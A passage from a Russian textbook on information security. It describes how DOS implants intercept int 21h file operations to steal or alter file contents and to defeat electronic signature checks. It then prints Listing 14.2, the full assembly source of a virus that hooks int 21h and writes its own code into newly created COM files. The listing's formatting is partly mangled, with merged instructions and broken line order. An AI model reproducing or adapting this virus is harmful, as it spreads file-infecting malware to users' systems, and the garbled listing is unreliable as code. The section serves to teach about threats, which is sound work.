Методы и средства защиты информации

Перехват и обработка файловых операций


Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int 21h, функция 3Dh), либо его закрытие.

Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новые связи, включая в них свои операции и массивы данных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int 21h для следующих функций.

  • Открытие файла (функция 3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.
  • Чтение из файла (функция 3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные действия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).
  • Запись в файл (функция 40h). Закладка редактирует нужным образом буфер в оперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный в скрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.
  • В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COM своим кодом.

    Листинг 14.2. Пример перехвата файловых

    операций для выполнения несанкционированной записи в файл

          .model      tiny

         

    .code

         

    org   100h

    start:



         

    push  si     

         

    push  si   

          mov   es,bx   

         

    mov   di,2B0h 

         

    cli          

                             

    cmpsb      

         

    jz    loc_2      

         

    dec   si         



          dec   di

    Продолжение листинга 14.2

          mov   cl,50h                  rep   movsb

          mov   si,21h*4   

          push  si         

          movs  word ptr es:[di],word ptr es:[si] 

          movs  word ptr es:[di],word ptr es:[si] 

          pop   di         

          mov   al,2Bh           

          stosw            

          stosw

    loc_2:

          pop   di         

          lea   si,[di+50h]

          mov   cx,sp      

          sub   cx,si      

          push  cs         

          pop   es

          rep   movsb      

          retn             

    ; новый обработчик 21-го прерывания

          cmp   ah,3Ch            ; функция создания файла ?

          jne   loc_5       ; если нет — на выход

          int   0C0h        ; если (2B0h+50h)/4 = 0C0h, т.е. адрес

                            ; старого обработчика int 21h

          push  ax         

          xchg  bx,ax      

          mov   si,dx       ; si = dx

    locloop_3:

          dec   si

          lodsw

          cmp   ax,'mo'

          loopnz      locloop_3  

          jnz   loc_4      

          push  ds         

          push  cs         

          pop   ds

          mov   ah,40h           

          mov   cl,50h           

          cwd              

          int   21h        

          pop   ds

    Окончание листинга 14.2

    loc_4:

          pop   ax         

          clc

          retf  2

    loc_5:

          db    0EAh       

          int   20h        

                      end   start


    Содержание раздела